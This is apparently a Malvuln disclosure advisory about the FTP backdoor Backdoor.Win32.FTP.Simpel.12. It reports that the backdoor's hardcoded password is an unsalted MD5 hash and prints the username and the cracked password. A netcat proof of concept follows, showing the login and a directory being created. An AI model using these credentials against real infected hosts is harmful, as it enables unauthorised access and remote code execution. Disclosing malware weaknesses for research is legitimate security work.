Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/1d12f9b921b38d7b521f12442bdd52d8_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.FTP.Simpel.12
Vulnerability: Insecure Crypto
Description: The malware listens on TCP port 22, authentication is required to access the server. However, the password hash "!supernova" is stored within the executable using an insecure MD5 hash algorithm and no salt. MD5 is a basic purpose fast hash (not slow) and not using salt allows attackers that gain access to the hash ability to conduct faster cracking attacks using pre-computed dictionaries. Finally, the password is easily recovered as it is a known password hash which can be found online. Third-party intruders who successfully gain access then may be able to upload executables which may result in remote code execution.

E.g.

Name=cRaCkeN
Pass=E13820BEDF2B31E01B2C7E59404B1FB7 = !supernova

Type: PE32
MD5: 1d12f9b921b38d7b521f12442bdd52d8
Vuln ID: MVID-2021-0433
Disclosure: 12/27/2021

Exploit/PoC:
nc64.exe x.x.x.x 22

USER cRaCkeN                                                                                                          
331 Password required for cRaCkeN.                                                                                      
PASS !supernova                                                                                                         
230-                                [LOGIN]                                                                             
230-                                [SYSTEM]                                                                            
230-                                                                                                                    
230-    Aktiv seit            : 1 d, 7 h, 41 min, 57 sec                                                                
230-                                                                                                                    
230-                                [SERVER]                                                                            
230-                                                                                                                    
230-    Server ist aktiv seit : 28 min, 44 sec                                                                          
230-    Server ist aktiv als  : Victim                                                                                     
230-    Traffic (Up/Down)     :        0.00/0.00        MB                                                              
230-    Geschw. (Up/Down)     :     0/0     KB/sec.                         
230-    Bester Speed (Up/Down):     0/0     KB/sec.                                                                     
230-    Durchschnitsspeed     : 0     KB/sec. genutzt.                    ││                                            
230- ││ SpaceFree             :   26197.29 MB                             ││                                            
230- ││ Benutzer derzeit      :   1 von Max. 100                          ││                                            
230- ││                                                                   ││
230- │├──────────────────────────────[USER]───────────────────────────────┤│                                            
230- ││                                                                   ││                                            
230- ││ Willkommen            : cRaCkeN                                                                                 
230-    Sie sind User         :   0 von max.   0 mit ihrem Account                                            
230-    Ratio                 : 1:-1 (Credits:     15 MB)                                                      
230-    Ihre IP ist           : 192.168.18.130                                                               
230-                                                                           
230-                                                                                                                    
230-                                                                                                                    
230 User cRaCkeN logged in.
SYST                                                                                                                    
215 215 UNIX Type: L8
MKD HATE                                                                                                                
257 Directory created


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